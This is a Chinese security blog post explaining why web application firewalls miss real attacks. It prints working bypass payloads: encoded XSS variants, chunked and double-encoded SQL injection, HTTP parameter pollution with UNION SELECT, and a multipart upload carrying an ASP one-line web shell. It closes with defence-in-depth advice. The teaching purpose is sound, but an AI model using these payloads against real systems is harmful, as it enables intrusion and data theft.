WAF绕过真相:为什么你的规则库挡不住真实攻击

WAF绕过真相:为什么你的规则库挡不住真实攻击

上个月参加一个红蓝对抗演练,目标是一家金融公司的外网资产。他们用了某知名商业WAF,规则库号称"覆盖OWASP Top10全部攻击类型"。结果呢?我们用三种不同的绕过方式,在4个小时内成功打穿了WAF,拿到了内网权限。

不是WAF没用,是很多人把WAF想得太万能了。装上、开规则、以为就安全了——真正把绕过手法翻开之后,结论会朴素很多:WAF只是第一道防线,指望一道墙挡住所有攻击,不现实。

WAF检测的三个根本性局限

局限一:基于规则的检测存在"盲区"

所有规则型WAF的工作原理都一样:拿到HTTP请求,跟规则库做匹配,命中就拦截。

问题在于——规则是"已知攻击模式"的集合。攻击者只要让payload的形态稍微偏离规则定义的模式,就能绕过。

举个最简单的例子,WAF规则拦截<script>alert(1)</script>

# 原始payload(被拦截)
<script>alert(1)</script>

# 绕过方式1:大小写混淆
<ScRiPt>alert(1)</ScRiPt>

# 绕过方式2:标签属性拆分
<script a=">" src="data:text/javascript,alert(1)">

# 绕过方式3:Unicode编码
<script>\u0061lert(1)</script>

# 绕过方式4:HTML实体编码
<script>&#97;lert(1)</script>

每一种变形都能绕过部分规则。规则越多,维护成本越高;规则越少,漏报越多。这是一个天然的矛盾。

局限二:无法理解"业务上下文"

WAF看的是单个HTTP请求,不理解你的业务逻辑。

// 正常业务请求:用户修改自己的密码
POST /api/user/password
{"old_password": "abc123", "new_password": "newpass456"}

// 攻击请求:越权修改别人的密码
POST /api/user/password
{"old_password": "abc123", "new_password": "newpass456", "user_id": 2}

两个请求的结构一模一样,WAF根本分不出来哪个是越权攻击。因为它只看HTTP请求,不看业务逻辑。

局限三:加密流量是盲区

现在HTTPS已经是标配了。WAF要检测加密流量,必须做SSL/TLS卸载(termination),这意味着WAF能看到明文。

但很多架构里,WAF后面还有一层负载均衡或API网关,流量在WAF之后再次加密。这种"分段加密"的架构下,WAF根本看不到真正的请求内容。

三种实战绕过方式

方式一:HTTP协议层绕过

利用HTTP协议本身的特性,构造WAF无法正确解析的请求:

# Chunked传输编码绕过
POST /api/login HTTP/1.1
Transfer-Encoding: chunked

3
uni
3
on 
3
sel
3
ect
0

union select拆成多个chunk发送,WAF可能无法正确重组请求体,但后端服务器能正确解析。

# 双重Content-Type
POST /api/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary
Content-Type: application/x-www-form-urlencoded

------boundary
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<%eval request("cmd")%>
------boundary--

部分WAF在遇到两个Content-Type时会解析混乱。

方式二:编码层绕过

# URL编码嵌套
# 原始:' OR 1=1--
# 第一次编码:%27%20OR%201%3D1--
# 双重编码:%2527%2520OR%25201%253D1--

# Base64在特定场景下绕过
# 如果后端有Base64解码逻辑
echo "' OR 1=1--" | base64
# JyBPUiAxPTEtLQ==

⚠️ 关键点:编码绕过的前提是后端会做对应的解码。如果后端不解码,编码后的payload就是无效的。所以这种绕过需要先探测后端的解码行为。

方式三:HTTP参数污染(HPP)

# 同一个参数传多个值
GET /api/search?q=normal&q=' UNION SELECT 1,2,3-- HTTP/1.1

# 不同的服务器/WAF对重复参数的处理方式不同:
# WAF可能只检查第一个q=normal(安全)
# 后端可能取最后一个q=' UNION SELECT...(攻击成功)

这种绕过方式在WAF和后端服务器不是同一个厂商产品时特别有效。

正确的WAF使用姿势

WAF不是银弹,但也不是废物。关键是把它放在正确的位置:

  • WAF是纵深防御的一层,不是唯一的一层。后面还得有RASP、输入校验、参数化查询
  • 规则要持续更新和调优,不能装上就不管了。至少每季度review一次规则命中率
  • 结合虚拟补丁,对于已知漏洞但来不及修复的系统,WAF的虚拟补丁功能很实用
  • 日志一定要开,WAF拦截的攻击日志是安全运营的重要数据源

写在后面

很多人以为WAF配好规则就能挡住攻击,真正把绕过手法翻开之后,结论会朴素很多:安全从来不是一道墙的事。WAF + RASP + 代码层防护 + 安全编码,层层叠加才是正道。

别再把WAF当万能盾牌了。


关注「安全值班室」公众号

每天AI安全早报 + 实战攻防案例 + 网安学习路线连载

关注安全值班室

posted on 2026-05-30 09:06  明.Sir  阅读(41)  评论(0)    收藏  举报

导航